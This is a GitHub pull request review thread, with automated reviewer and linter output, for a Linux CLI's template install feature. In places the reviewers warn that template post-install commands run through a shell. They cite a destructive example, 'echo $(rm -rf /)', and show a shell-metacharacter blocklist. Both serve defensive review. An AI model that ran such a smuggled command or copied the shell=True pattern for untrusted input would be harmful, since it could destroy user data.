if args.command == 'install': if args.template: - return cli.install("", execute=args.execute, dry_run=args.dry_run, template=args.template) + return cli.install(execute=args.execute, dry_run=args.dry_run, template=args.template) else: # software is guaranteed to be set due to mutually_exclusive_group(required=True) return cli.install(args.software, execute=args.execute, dry_run=args.dry_run)This makes the API clearer and eliminates the placeholder empty string.
cortex/templates.py (3)
154-163: Annotate class-level constants withClassVarfor type safety.Static analysis correctly identifies that class attributes
REQUIRED_FIELDS,REQUIRED_STEP_FIELDS,ALLOWED_POST_INSTALL_COMMANDS, andDANGEROUS_SHELL_CHARSshould be annotated withtyping.ClassVarto indicate they are class-level constants, not instance attributes.+from typing import ClassVar + class TemplateValidator: """Validates template structure and content.""" - REQUIRED_FIELDS = ["name", "description", "version"] - REQUIRED_STEP_FIELDS = ["command", "description"] + REQUIRED_FIELDS: ClassVar[List[str]] = ["name", "description", "version"] + REQUIRED_STEP_FIELDS: ClassVar[List[str]] = ["command", "description"] # Allowed post_install commands (whitelist for security) - ALLOWED_POST_INSTALL_COMMANDS = { + ALLOWED_POST_INSTALL_COMMANDS: ClassVar[Set[str]] = { 'echo', # Safe echo commands } # Dangerous shell metacharacters that should be rejected - DANGEROUS_SHELL_CHARS = [';', '|', '&', '>', '<', '`', '\\'] + DANGEROUS_SHELL_CHARS: ClassVar[List[str]] = [';', '|', '&', '>', '<', '`', '\\']
321-323: Chain exception for better error diagnostics.Use
raise ... from eto preserve the original exception's traceback, which aids debugging when template loading fails.except Exception as e: - raise ValueError(f"Failed to load template {name}: {str(e)}") + raise ValueError(f"Failed to load template {name}: {str(e)}") from e
558-559: Chain exception for better error diagnostics.Use
raise ... from eto preserve the original exception's traceback when template import fails.except Exception as e: - raise ValueError(f"Failed to import template: {str(e)}") + raise ValueError(f"Failed to import template: {str(e)}") from e
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (2)
cortex/cli.py(7 hunks)cortex/templates.py(1 hunks)
🧰 Additional context used
🧬 Code graph analysis (2)
cortex/templates.py (2)
src/hwprofiler.py (1)
profile(399-426)cortex/packages.py (2)
PackageManager(23-452)PackageManagerType(16-20)
cortex/cli.py (1)
cortex/templates.py (12)
TemplateManager(263-587)Template(54-148)TemplateFormat(25-28)InstallationStep(44-50)load_template(303-323)list_templates(357-408)check_hardware_compatibility(410-496)generate_commands(498-522)HardwareRequirements(32-40)save_template(325-355)import_template(524-559)export_template(561-587)
🪛 Ruff (0.14.5)
cortex/templates.py
1-1: Shebang is present but file is not executable
(EXE001)
154-154: Mutable class attributes should be annotated with typing.ClassVar
(RUF012)
155-155: Mutable class attributes should be annotated with typing.ClassVar
(RUF012)
158-160: Mutable class attributes should be annotated with typing.ClassVar
(RUF012)
163-163: Mutable class attributes should be annotated with typing.ClassVar
(RUF012)
321-321: Consider moving this statement to an else block
(TRY300)
322-322: Do not catch blind exception: Exception
(BLE001)
323-323: Within an except clause, raise exceptions with raise ... from err or raise ... from None to distinguish them from errors in exception handling
(B904)
323-323: Avoid specifying long messages outside the exception class
(TRY003)
323-323: Use explicit conversion flag
Replace with conversion flag
(RUF010)
341-341: Avoid specifying long messages outside the exception class
(TRY003)
384-386: try-except-pass detected, consider logging the exception
(S110)
384-384: Do not catch blind exception: Exception
(BLE001)
405-406: try-except-pass detected, consider logging the exception
(S110)
405-405: Do not catch blind exception: Exception
(BLE001)
537-537: Avoid specifying long messages outside the exception class
(TRY003)
555-555: Abstract raise to an inner function
(TRY301)
555-555: Avoid specifying long messages outside the exception class
(TRY003)
557-557: Consider moving this statement to an else block
(TRY300)
558-558: Do not catch blind exception: Exception
(BLE001)
559-559: Within an except clause, raise exceptions with raise ... from err or raise ... from None to distinguish them from errors in exception handling
(B904)
559-559: Avoid specifying long messages outside the exception class
(TRY003)
559-559: Use explicit conversion flag
Replace with conversion flag
(RUF010)
576-576: Avoid specifying long messages outside the exception class
(TRY003)
cortex/cli.py
294-294: f-string without any placeholders
Remove extraneous f prefix
(F541)
401-401: subprocess call with shell=True identified, security issue
(S602)
437-437: Consider moving this statement to an else block
(TRY300)
447-447: Use explicit conversion flag
Replace with conversion flag
(RUF010)
470-470: Consider moving this statement to an else block
(TRY300)
471-471: Do not catch blind exception: Exception
(BLE001)
472-472: Use explicit conversion flag
Replace with conversion flag
(RUF010)
536-536: Do not catch blind exception: Exception
(BLE001)
537-537: Use explicit conversion flag
Replace with conversion flag
(RUF010)
552-552: Consider moving this statement to an else block
(TRY300)
553-553: Do not catch blind exception: Exception
(BLE001)
554-554: Use explicit conversion flag
Replace with conversion flag
(RUF010)
566-566: Consider moving this statement to an else block
(TRY300)
567-567: Do not catch blind exception: Exception
(BLE001)
568-568: Use explicit conversion flag
Replace with conversion flag
(RUF010)
| self._print_status("[*]", "Running post-installation steps...") | ||
| print("\n[*] Post-installation information:") | ||
| for cmd in template.post_install: | ||
| subprocess.run(cmd, shell=True) |
There was a problem hiding this comment.
Post-install command validation is insufficient for shell injection protection.
While TemplateValidator._validate_post_install_commands now restricts commands to echo only, it explicitly allows command substitution patterns $(...) within echo commands (templates.py lines 191-196). This remains exploitable—a malicious template can execute arbitrary code via echo $(rm -rf /) or similar constructs, since the shell evaluates the substitution before echo receives it.
Recommended fix: Either:
- Block all command substitution by removing the special case for
echoat templates.py lines 191-196, OR - Avoid
shell=Trueentirely by parsing and printing echo messages directly in Python:
if template.post_install:
self._print_status("[*]", "Running post-installation steps...")
print("\n[*] Post-installation information:")
for cmd in template.post_install:
- subprocess.run(cmd, shell=True)
+ # Parse and print echo messages safely
+ if cmd.strip().startswith('echo '):
+ message = cmd.strip()[5:] # Remove 'echo ' prefix
+ # Strip quotes if present
+ message = message.strip('\'"')
+ print(f" {message}")
+ else:
+ print(f" [WARNING] Skipped non-echo command: {cmd[:50]}")This eliminates subprocess execution entirely for post-install informational messages.
🧰 Tools
🪛 Ruff (0.14.5)
401-401: subprocess call with shell=True identified, security issue
(S602)
🤖 Prompt for AI Agents
In cortex/cli.py around line 401, subprocess.run(cmd, shell=True) is used to
execute post-install commands which, combined with templates.py allowing echo
with $(...) substitution, permits shell injection; replace this by not invoking
the shell for informational echo commands: parse the post-install command list
and if the command is an echo (and only echo), extract and print the literal
message safely in Python (no shell), and for any non-allowed commands either
reject them during validation or, if you must run external commands, use
subprocess.run with a list of args and shell=False after strict validation;
alternatively remove the special-case allowance for echo in TemplateValidator so
all commands are blocked and subprocess.run is never called for untrusted
templates.
|
Hi @aliraza556! This PR has merge conflicts with the latest main branch. Could you please rebase your branch? git fetch origin
git rebase origin/main
# resolve conflicts
git push --force-with-leaseThe template system looks excellent - ready to merge once conflicts are resolved! |
|
Please rebase onto main to resolve conflicts: |
|
@mikejmorgan-ai Sure |
|
@mikejmorgan-ai Done Please review and merge. |
There was a problem hiding this comment.
Actionable comments posted: 1
♻️ Duplicate comments (1)
cortex/cli.py (1)
297-408: Fix minor f-string lint and hardenpost_installexecution against shell injectionTwo separate points in this block:
- Extraneous f-string (Ruff F541)
Line [300] usesprint(f"\n Packages:")with no interpolation. This triggers F541 and is trivially fixed:- print(f"\n Packages:") + print("\n Packages:")
subprocess.run(..., shell=True)on template-suppliedpost_installcommands remains unsafe
Lines [402–407] execute everytemplate.post_installentry viasubprocess.run(cmd, shell=True). Even with validator constraints, this is effectively running untrusted template content through a shell and is still vulnerable to injection (e.g., viaecho $(...)patterns allowed by the validator, as noted in a prior review).For post‑install informational messages, you can avoid invoking a shell entirely by parsing and printing the echo content in Python instead:
- # Run post-install commands once - if template.post_install: - self._print_status("[*]", "Running post-installation steps...") - print("\n[*] Post-installation information:") - for cmd in template.post_install: - subprocess.run(cmd, shell=True) + # Render post-install info without spawning a shell + if template.post_install: + self._print_status("[*]", "Running post-installation steps...") + print("\n[*] Post-installation information:") + for cmd in template.post_install: + stripped = cmd.strip() + if stripped.startswith("echo "): + # Remove leading "echo" and optional surrounding quotes + message = stripped[5:].strip() + if len(message) >= 2 and message[0] == message[-1] and message[0] in ("'", '"'): + message = message[1:-1] + print(f" {message}") + else: + print(f" [WARNING] Skipping non-echo post-install command: {cmd[:80]}")If you truly need to support non-echo commands, they should be validated much more strictly and executed with
shell=Falseusing argument lists rather than passing raw strings to the shell.#!/bin/bash # Verify remaining uses of shell=True on template-driven commands rg -n "post_install" -n cortex rg -n "shell=True" cortex
🧹 Nitpick comments (5)
cortex/cli.py (5)
65-82: Template routing ininstall()is functionally correct but adds to an already complex methodThe early
if template: return self._install_from_template(...)branch correctly preserves existing LLM-based behavior and routes template installs through their own workflow.However, Sonar is already flagging
install()for high cognitive complexity, and this change nudges it further. Consider extracting the LLM-based path into a dedicated helper (e.g.,_install_via_llm(...)) and keepinginstall()as a thin router between template and non-template flows. This would also let you avoid initializingInstallationHistoryandstart_timewhen the template branch is taken but never uses them.
322-444: Template installation flow is sound but very large; consider breaking into smaller helpersThe overall control flow in
_install_from_template()(load template → show metadata → hardware check with prompt → generate commands → history record → dry‑run/execute → verification → post‑install → history update) looks correct and user‑friendly.That said, Sonar flags this method for very high cognitive complexity. It’s now handling:
- Hardware compatibility prompting and non-interactive aborts
- Command generation and display
- Two execution strategies (template steps plan vs. raw commands)
- Verification reporting
- History bookkeeping and error handling
To make this maintainable, consider splitting into focused helpers, e.g.:
_prompt_hardware_acceptance(template, is_compatible, warnings, dry_run)_build_coordinator_for_template(template, commands)_run_template_verification(coordinator, template)_record_and_print_result(history, install_id, result, template)This would also let you share pieces (e.g., progress callbacks and history updates) with the LLM-based
install()path.
456-479:template_list()behavior looks good; keep broad exception catching minimalListing and formatting of templates (name/version/type/description, capped width) is straightforward and matches expectations. The broad
except Exception as ewithself._print_error(f"Failed to list templates: {str(e)}")is acceptable for a CLI surface, but if you find yourself duplicating this pattern across multiple template helpers, it may be worth centralizing into a small_handle_cli_error(context: str, exc: Exception)to reduce repetition and complexity.Also, to satisfy Ruff RUF010 you can simplify to
f"{e}"instead off"{str(e)}".
481-545: Interactivetemplate_create()flow is user-friendly; complexity is creeping upThe interactive creation flow (description/version/author → packages loop → optional hardware requirements → save) is clear and matches the PR’s goals. Numeric validation for hardware requirements with a targeted
ValueErrorhandler is a nice improvement.Sonar, however, flags this method for high cognitive complexity. To keep it manageable, consider extracting small helpers, for example:
_prompt_template_metadata(name) -> (description, version, author)_prompt_packages() -> List[str]_prompt_hardware_requirements() -> Optional[HardwareRequirements]This would also make it easier to add a non-interactive path in the future without overloading this single method.
546-575: Import/export helpers look correct and straightforward
template_import()andtemplate_export()are thin wrappers overTemplateManager, correctly wiring up file paths, names, formats, and user messaging. The behavior matches the documented CLI (cortex template import .../export ...).Only minor nit (optional): you could again simplify
str(e)inside the f-strings to just{e}or{e!s}to appease Ruff’s RUF010 and keep exception formatting consistent across methods.
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (2)
cortex/cli.py(7 hunks)src/requirements.txt(1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
- src/requirements.txt
🧰 Additional context used
🪛 GitHub Check: SonarCloud Code Analysis
cortex/cli.py
[failure] 65-65: Refactor this function to reduce its Cognitive Complexity from 45 to the 15 allowed.
[failure] 481-481: Refactor this function to reduce its Cognitive Complexity from 27 to the 15 allowed.
[warning] 300-300: Add replacement fields or use a normal string instead of an f-string.
[failure] 277-277: Refactor this function to reduce its Cognitive Complexity from 85 to the 15 allowed.
🪛 Ruff (0.14.6)
cortex/cli.py
300-300: f-string without any placeholders
Remove extraneous f prefix
(F541)
407-407: subprocess call with shell=True identified, security issue
(S602)
443-443: Consider moving this statement to an else block
(TRY300)
453-453: Use explicit conversion flag
Replace with conversion flag
(RUF010)
476-476: Consider moving this statement to an else block
(TRY300)
477-477: Do not catch blind exception: Exception
(BLE001)
478-478: Use explicit conversion flag
Replace with conversion flag
(RUF010)
542-542: Do not catch blind exception: Exception
(BLE001)
543-543: Use explicit conversion flag
Replace with conversion flag
(RUF010)
558-558: Consider moving this statement to an else block
(TRY300)
559-559: Do not catch blind exception: Exception
(BLE001)
560-560: Use explicit conversion flag
Replace with conversion flag
(RUF010)
572-572: Consider moving this statement to an else block
(TRY300)
573-573: Do not catch blind exception: Exception
(BLE001)
574-574: Use explicit conversion flag
Replace with conversion flag
(RUF010)
🔇 Additional comments (2)
cortex/cli.py (2)
807-811: Updated CLI examples correctly showcase the new template workflowThe additional examples in the help epilog for
cortex install --template lamp --executeand thecortex templatesubcommands are accurate and make the new functionality discoverable from--help. No issues here.
849-915: Template subcommand wiring and dispatch look correctThe
templatesubparser plus itslist/create/import/exportsubcommands are wired correctly, and the dispatch block underelif args.command == 'template':covers all four actions with a sensible fallback totemplate_parser.print_help().UX-wise,
cortex templatewith no action shows help and exits with status 1, which is consistent with the rest of the CLI.
|
@dhvll Could you review this PR? The templates system relates to your package manager work. Thanks! |
There was a problem hiding this comment.
Actionable comments posted: 2
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
cortex/cli.py (1)
1-17: Missingsubprocessimport causesNameErrorat runtime.Line 514 uses
subprocess.run(cmd, shell=True)but thesubprocessmodule is never imported. This will crash when executing post-install commands.Apply this diff to add the missing import:
import sys import os import argparse import time import logging +import subprocess from typing import List, Optional from datetime import datetime
♻️ Duplicate comments (1)
cortex/cli.py (1)
509-514: Security:shell=Truewith template-sourced commands enables command injection.The
post_installcommands from templates are executed withshell=True, which can execute arbitrary shell code. Even if templates restrict toecho, command substitution likeecho $(malicious_cmd)will execute.Parse and print echo messages directly in Python to eliminate shell execution:
# Run post-install commands once if template.post_install: self._print_status("[*]", "Running post-installation steps...") print("\n[*] Post-installation information:") for cmd in template.post_install: - subprocess.run(cmd, shell=True) + # Safely extract and print echo messages without shell + cmd_stripped = cmd.strip() + if cmd_stripped.startswith('echo '): + message = cmd_stripped[5:].strip('\'"') + print(f" {message}") + else: + print(f" [WARNING] Skipped non-echo post-install command")
🧹 Nitpick comments (3)
cortex/cli.py (3)
186-207: Redundant API key retrieval.When
templateisNone, lines 186-192 already fetch and validateapi_keyandprovider, but lines 204-207 fetch them again unconditionally after the template check.Remove the duplicate fetch since validation already occurred:
# If template is specified, use template system if template: return self._install_from_template(template, execute, dry_run) # Otherwise, use LLM-based installation - api_key = self._get_api_key() - if not api_key: - return 1 - provider = self._get_provider() + # api_key and provider already fetched above (lines 186-191) self._print_status("🧠", "Understanding request...")
384-561: Consider splitting this method to reduce complexity.SonarCloud flags Cognitive Complexity of 85 (limit: 15). This method handles template loading, hardware checks, command generation, execution, verification, and post-install steps.
Extract focused helper methods:
def _install_from_template(self, template_name: str, execute: bool, dry_run: bool): """Install from a template.""" template = self._load_and_validate_template(template_name) if not template: return 1 if not self._check_template_hardware(template, dry_run): return 1 commands = self._prepare_template_commands(template) if not commands: return 1 return self._execute_template_install(template, commands, execute, dry_run)This improves testability and maintainability.
611-618: Remove redundant local import.
Templateis already imported at line 17.HardwareRequirementsshould be added to the top-level import instead of importing locally.Update the top-level import and remove the local one:
-from cortex.templates import TemplateManager, Template, TemplateFormat, InstallationStep +from cortex.templates import TemplateManager, Template, TemplateFormat, InstallationStep, HardwareRequirementsThen remove line 611:
# Create template - from cortex.templates import Template, HardwareRequirements template = Template(
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (2)
cortex/cli.py(7 hunks)requirements.txt(1 hunks)
🧰 Additional context used
🧬 Code graph analysis (1)
cortex/cli.py (4)
cortex/templates.py (12)
TemplateManager(263-587)Template(54-148)TemplateFormat(25-28)InstallationStep(44-50)load_template(303-323)list_templates(357-408)check_hardware_compatibility(410-496)generate_commands(498-522)HardwareRequirements(32-40)save_template(325-355)import_template(524-559)export_template(561-587)cortex/coordinator.py (6)
InstallationStep(40-53)execute(252-299)InstallationCoordinator(65-350)from_plan(99-145)StepStatus(31-36)verify_installation(301-323)cortex/validators.py (1)
validate_install_request(72-99)cortex/installation_history.py (6)
InstallationHistory(68-653)_extract_packages_from_commands(212-244)record_installation(252-308)InstallationType(25-31)update_installation(310-362)InstallationStatus(34-39)
🪛 GitHub Check: SonarCloud Code Analysis
cortex/cli.py
[failure] 178-178: Refactor this function to reduce its Cognitive Complexity from 50 to the 15 allowed.
[failure] 588-588: Refactor this function to reduce its Cognitive Complexity from 27 to the 15 allowed.
[failure] 384-384: Refactor this function to reduce its Cognitive Complexity from 85 to the 15 allowed.
[warning] 407-407: Add replacement fields or use a normal string instead of an f-string.
🔇 Additional comments (3)
requirements.txt (1)
7-8: LGTM!The PyYAML dependency is appropriately added to support the new template system. Version 6.0+ is a reasonable baseline.
cortex/cli.py (2)
847-871: LGTM!The updated epilog with template command examples and environment variable documentation provides good user guidance.
890-895: The argparse configuration is valid—no issue here.The mutually exclusive group with
required=Trueand a positional argument usingnargs='?'is a supported pattern in Python's argparse. The positional argument becomes optional (can beNone), and argparse ensures that exactly one ofsoftwareor--templateis provided. The code at line 956–958 correctly handles both cases: checkingargs.templatefirst, then safely accessingargs.softwarewhen the template is not provided.
Merge Conflicts - Action RequiredHey @aliraza556! This PR has merge conflicts with the main branch. Please:
Once resolved, we'll review for merge! |
|
@mikejmorgan-ai Done Please review it. |
There was a problem hiding this comment.
Actionable comments posted: 2
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
cortex/cli.py (1)
1-23: Fix import sorting to resolve pipeline failure.The CI pipeline reports that the import block is unsorted or unformatted (line 16). Run your linter to automatically sort imports.
#!/bin/bash # Fix import sorting with isort or ruff ruff check --select I --fix cortex/cli.py
♻️ Duplicate comments (1)
cortex/cli.py (1)
530-535: Shell injection vulnerability in post-install command execution.Line 535 executes post-install commands with
shell=True, which enables shell injection attacks. Even if templates are validated to only allowechocommands, command substitution patterns like$(...)can execute arbitrary code:post_install: - "echo Installation complete $(rm -rf /tmp/malicious)"The shell will execute the substitution before
echoreceives the output, bypassing any command prefix checks.Fix: Parse and print echo messages directly in Python without invoking a shell:
if template.post_install: self._print_status("[*]", "Running post-installation steps...") print("\n[*] Post-installation information:") for cmd in template.post_install: - subprocess.run(cmd, shell=True) + # Parse and print echo messages safely without shell + if cmd.strip().startswith('echo '): + message = cmd.strip()[5:].strip('\'"') + print(f" {message}") + else: + print(f" [WARNING] Skipped non-echo command: {cmd[:50]}")This eliminates subprocess execution entirely for informational messages.
Based on learnings, no silent sudo execution - require explicit user confirmation.
🧹 Nitpick comments (2)
tests/test_templates.py (1)
14-15: Consider using proper package installation instead ofsys.path.insert.The
sys.path.insertapproach can lead to import issues and makes tests less portable. Consider installing the package in development mode (pip install -e .) and removing these lines.cortex/cli.py (1)
176-176: Use modern union syntax for type annotations.Python 3.10+ supports the
X | Nonesyntax, which is preferred overOptional[X].Apply this diff:
- def install(self, software: str, execute: bool = False, dry_run: bool = False, template: Optional[str] = None): + def install(self, software: str, execute: bool = False, dry_run: bool = False, template: str | None = None):
📜 Review details
Configuration used: defaults
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (3)
cortex/cli.py(9 hunks)requirements.txt(1 hunks)tests/test_templates.py(1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
- requirements.txt
🧰 Additional context used
📓 Path-based instructions (2)
**/*.py
📄 CodeRabbit inference engine (AGENTS.md)
**/*.py: Follow PEP 8 style guide
Type hints required in Python code
Docstrings required for all public APIs
Files:
tests/test_templates.pycortex/cli.py
tests/**/*.py
📄 CodeRabbit inference engine (AGENTS.md)
Maintain >80% test coverage for pull requests
Files:
tests/test_templates.py
🧠 Learnings (2)
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : No silent sudo execution - require explicit user confirmation
Applied to files:
cortex/cli.py
📚 Learning: 2025-12-11T12:03:24.071Z
Learnt from: CR
Repo: cortexlinux/cortex PR: 0
File: AGENTS.md:0-0
Timestamp: 2025-12-11T12:03:24.071Z
Learning: Applies to **/*install*.py : Dry-run by default for all installations in command execution
Applied to files:
cortex/cli.py
🪛 GitHub Actions: CI
cortex/cli.py
[error] 16-16: I001 Import block is un-sorted or un-formatted
🪛 GitHub Check: Lint
cortex/cli.py
[failure] 176-176: Ruff (UP045)
cortex/cli.py:176:94: UP045 Use X | None for type annotations
[failure] 449-449: Ruff (W293)
cortex/cli.py:449:1: W293 Blank line contains whitespace
[failure] 431-431: Ruff (W293)
cortex/cli.py:431:1: W293 Blank line contains whitespace
[failure] 428-428: Ruff (F541)
cortex/cli.py:428:19: F541 f-string without any placeholders
[failure] 424-424: Ruff (W293)
cortex/cli.py:424:1: W293 Blank line contains whitespace
[failure] 416-416: Ruff (W293)
cortex/cli.py:416:1: W293 Blank line contains whitespace
[failure] 413-413: Ruff (W293)
cortex/cli.py:413:1: W293 Blank line contains whitespace
[failure] 410-410: Ruff (W293)
cortex/cli.py:410:1: W293 Blank line contains whitespace
[failure] 404-404: Ruff (W293)
cortex/cli.py:404:1: W293 Blank line contains whitespace
🔇 Additional comments (5)
tests/test_templates.py (1)
27-451: Excellent test coverage and organization!The test suite is well-structured with 22 unit tests covering all major components:
- Template dataclass operations (creation, serialization, hardware requirements)
- Validation logic (required fields, hardware constraints)
- TemplateManager functionality (CRUD operations, command generation)
- Hardware compatibility checking
- Format handling (YAML/JSON)
All test methods include docstrings and proper setUp/tearDown for resource management. This should easily exceed the >80% coverage target.
cortex/cli.py (4)
647-657: Good addition of input validation for hardware requirements!The try-except block properly catches
ValueErrorwhen converting user input to integers and provides a clear error message. This addresses the previous review concern about missing validation.
977-993: Template subparser properly configured!The template command structure is well-defined with all necessary subcommands (list, create, import, export) and their arguments. This resolves previous concerns about missing subparser definitions.
1015-1020: Install command routing looks correct.The handler properly distinguishes between template-based and software-based installs. The logic is clean and the comment on line 1019 correctly notes the mutual exclusivity guarantee.
438-448: Good handling of non-interactive hardware confirmation!The error message clearly communicates that installation is being aborted due to inability to prompt in non-interactive mode, and provides actionable guidance to use
--dry-run. This addresses previous review feedback about unclear messaging.
cortex/cli.py
Outdated
|
|
||
| def _install_from_template(self, template_name: str, execute: bool, dry_run: bool): | ||
| """Install from a template.""" | ||
| history = InstallationHistory() | ||
| install_id = None | ||
| start_time = datetime.now() | ||
|
|
||
| try: | ||
| template_manager = TemplateManager() | ||
|
|
||
| self._print_status("[*]", f"Loading template: {template_name}...") | ||
| template = template_manager.load_template(template_name) | ||
|
|
||
| if not template: | ||
| self._print_error(f"Template '{template_name}' not found") | ||
| self._print_status("[*]", "Available templates:") | ||
| templates = template_manager.list_templates() | ||
| for name, info in templates.items(): | ||
| print(f" - {name}: {info['description']}") | ||
| return 1 | ||
|
|
||
| # Display template info | ||
| print(f"\n{template.name} Template:") | ||
| print(f" {template.description}") | ||
| print(f"\n Packages:") | ||
| for pkg in template.packages: | ||
| print(f" - {pkg}") | ||
|
|
||
| # Check hardware compatibility | ||
| is_compatible, warnings = template_manager.check_hardware_compatibility(template) | ||
| if warnings: | ||
| print("\n[WARNING] Hardware Compatibility Warnings:") | ||
| for warning in warnings: | ||
| print(f" - {warning}") | ||
| if not is_compatible and not dry_run: | ||
| try: | ||
| response = input("\n[WARNING] Hardware requirements not met. Continue anyway? (y/N): ") | ||
| if response.lower() != 'y': | ||
| print("\n[INFO] Installation aborted by user") | ||
| return 1 | ||
| except (EOFError, KeyboardInterrupt): | ||
| # Non-interactive environment or user cancelled | ||
| print("\n[ERROR] Aborting install: cannot prompt for hardware confirmation in non-interactive mode") | ||
| print(" Use --dry-run to preview commands, or ensure hardware requirements are met") | ||
| return 1 | ||
|
|
There was a problem hiding this comment.
Remove trailing whitespace from blank lines.
Multiple blank lines contain trailing whitespace (lines 404, 410, 413, 416, 424, 431, 449). Additionally, line 428 uses an f-string without placeholders.
#!/bin/bash
# Auto-fix formatting issues with ruff
ruff check --select W293,F541 --fix cortex/cli.py🧰 Tools
🪛 GitHub Check: Lint
[failure] 449-449: Ruff (W293)
cortex/cli.py:449:1: W293 Blank line contains whitespace
[failure] 431-431: Ruff (W293)
cortex/cli.py:431:1: W293 Blank line contains whitespace
[failure] 428-428: Ruff (F541)
cortex/cli.py:428:19: F541 f-string without any placeholders
[failure] 424-424: Ruff (W293)
cortex/cli.py:424:1: W293 Blank line contains whitespace
[failure] 416-416: Ruff (W293)
cortex/cli.py:416:1: W293 Blank line contains whitespace
[failure] 413-413: Ruff (W293)
cortex/cli.py:413:1: W293 Blank line contains whitespace
[failure] 410-410: Ruff (W293)
cortex/cli.py:410:1: W293 Blank line contains whitespace
[failure] 404-404: Ruff (W293)
cortex/cli.py:404:1: W293 Blank line contains whitespace
🤖 Prompt for AI Agents
cortex/cli.py around lines 404 to 449: several blank lines contain trailing
whitespace (lines 404, 410, 413, 416, 424, 431, 449) and line 428 uses an
f-string with no placeholders; remove the trailing spaces on those blank lines
and replace the f-string at line 428 with a normal string literal (or add a
placeholder if intended) so no unnecessary f-string remains; you can run a
formatter/ruff fix (ruff check --select W293,F541 --fix cortex/cli.py) or
manually strip trailing whitespace and adjust the string.
cortex/cli.py
Outdated
| install_group = install_parser.add_mutually_exclusive_group(required=True) | ||
| install_group.add_argument("software", type=str, nargs="?", help="Software to install (natural language)") | ||
| install_group.add_argument("--template", type=str, help="Install from template (e.g., lamp, mean, mern)") |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
cd "$(git rev-parse --show-toplevel)"
find . -name "cli.py" -path "*/cortex/*" | head -5Repository: cortexlinux/cortex
Length of output: 77
🏁 Script executed:
#!/bin/bash
cd "$(git rev-parse --show-toplevel)"
# Find cortex/cli.py
if [ -f "cortex/cli.py" ]; then
echo "=== Found cortex/cli.py, examining lines 930-940 ==="
sed -n '930,940p' cortex/cli.py
else
echo "File not found at cortex/cli.py"
find . -name "cli.py" | grep -i cortex
fiRepository: cortexlinux/cortex
Length of output: 924
🏁 Script executed:
#!/bin/bash
cd "$(git rev-parse --show-toplevel)" 2>/dev/null || cd .
if [ -f "cortex/cli.py" ]; then
echo "=== cortex/cli.py found, showing lines 925-940 ==="
sed -n '925,940p' cortex/cli.py | cat -n
echo ""
echo "=== Testing parser construction ==="
python3 -c "
import sys
sys.path.insert(0, '.')
try:
from cortex.cli import create_parser
parser = create_parser()
print('SUCCESS: Parser created without error')
except ImportError as e:
print(f'ImportError: {e}')
print('Trying alternative import...')
try:
from cortex import cli
if hasattr(cli, 'main'):
print('Found main function, parser creation test...')
except:
print('Could not import cortex.cli')
except ValueError as e:
print(f'FAIL - ValueError: {e}')
except Exception as e:
print(f'Error: {type(e).__name__}: {e}')
" 2>&1
else
echo "cortex/cli.py not found"
find . -name "cli.py" -type f | head -10
fiRepository: cortexlinux/cortex
Length of output: 148
Move the positional software argument outside the mutually exclusive group and validate exclusivity in the command handler.
The software argument cannot coexist with --template in a mutually exclusive group because argparse only supports optional arguments (prefixed with -- or -) in such groups. Move software outside the group and add manual validation in the install command handler to ensure only one of the two options is provided.
🤖 Prompt for AI Agents
In cortex/cli.py around lines 932 to 934, the positional "software" argument is
incorrectly placed inside a mutually exclusive group (argparse only allows
optional flags in such groups); move the positional argument declaration out of
install_group so install_group only contains the optional --template, then
update the install command handler to perform manual exclusivity validation
(raise/print an error and exit if both software and --template are provided or
if neither is provided when required). Ensure help text remains accurate and
error path uses the existing CLI error/exit behavior.
mikejmorgan-ai
left a comment
mikejmorgan-ai
left a comment
There was a problem hiding this comment.
Great feature addition. Approved.
|
|
|
@mikejmorgan-ai Done Fixed |
There was a problem hiding this comment.
Actionable comments posted: 2
♻️ Duplicate comments (2)
cortex/cli.py (2)
832-836: CRITICAL: Shell injection vulnerability in post-install command execution.Post-install commands are executed with
shell=True, which allows arbitrary command execution through shell metacharacters and command substitution. Even if template validation restricts commands toechoonly, patterns likeecho $(rm -rf /)will execute the substituted command before echo processes it.Recommended fix: Parse and print echo messages directly without invoking a shell:
if template.post_install: self._print_status("[*]", "Running post-installation steps...") print("\n[*] Post-installation information:") for cmd in template.post_install: - subprocess.run(cmd, shell=True) + # Safely print echo messages without shell execution + if cmd.strip().startswith('echo '): + message = cmd.strip()[5:].strip('\'"') + print(f" {message}") + else: + print(f" [WARNING] Skipped non-echo command: {cmd[:50]}")This eliminates subprocess execution entirely for informational post-install messages, removing the attack vector.
🤖 Prompt for AI Agents
In cortex/cli.py around lines 832-836, post-install commands are executed with subprocess.run(cmd, shell=True) which permits shell injection even when validation restricts to echo commands (because command substitution like echo $(...) executes the substituted command); replace this with safe parsing: check if cmd starts with 'echo ', extract the message portion (stripping quotes), and print it directly in Python without calling subprocess, or reject non-echo commands during validation so shell execution never occurs for untrusted template content.
1743-1752: CRITICAL: Positional argument in mutually exclusive group will raise ValueError.Lines 1743-1752 add a positional argument
'software'to a mutually exclusive group, but argparse only supports optional arguments (prefixed with--or-) in such groups. This raisesValueError("mutually exclusive arguments must be optional")at parser construction time, preventing the CLI from starting.Fix: Move the positional argument outside the group and add manual validation in the handler:
- install_group = install_parser.add_mutually_exclusive_group(required=True) - install_group.add_argument( - "software", type=str, nargs="?", help="Software to install (natural language)" - ) - install_group.add_argument( + install_parser.add_argument( + "software", type=str, nargs="?", help="Software to install (natural language)" + ) + install_parser.add_argument( "--stack", type=str, metavar="NAME", help="Install from a pre-configured stack (e.g., lamp, mean, mern, ml-ai, devops)", )Then add validation in the handler (around lines 2064-2076):
